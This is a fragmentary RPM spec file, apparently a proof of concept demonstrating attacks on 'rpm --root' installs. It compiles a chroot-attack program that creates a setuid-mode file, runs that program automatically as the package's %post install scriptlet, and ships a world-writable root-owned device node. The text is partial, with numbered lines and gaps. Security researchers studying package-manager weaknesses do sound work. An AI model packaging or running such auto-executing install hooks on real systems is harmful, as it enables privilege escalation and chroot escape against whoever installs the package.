1 Summary: Demonstrates attacks against 'rpm --root ...' operations
7 Group: Applications/System
8 BuildRoot: %_tmppath/%name-%version-%release-root
9 BuildRequires: dietlibc
16 cat <<EOF >chroot-attack.c
23 open("got-you", O_CREAT|O_WRONLY, 04777);
29 diet -Os %__cc $RPM_OPT_FLAGS chroot-attack.c -o chroot-attack
32 rm -rf $RPM_BUILD_ROOT
33 %__install -D -m0755 chroot-attack $RPM_BUILD_ROOT%_bindir/chroot-attack
36 rm -rf $RPM_BUILD_ROOT
39 %post -p %_bindir/chroot-attack
42 %defattr(-,root,root,-)
44 %attr(0777, root,root) %dev(c, 3, 0) /mydev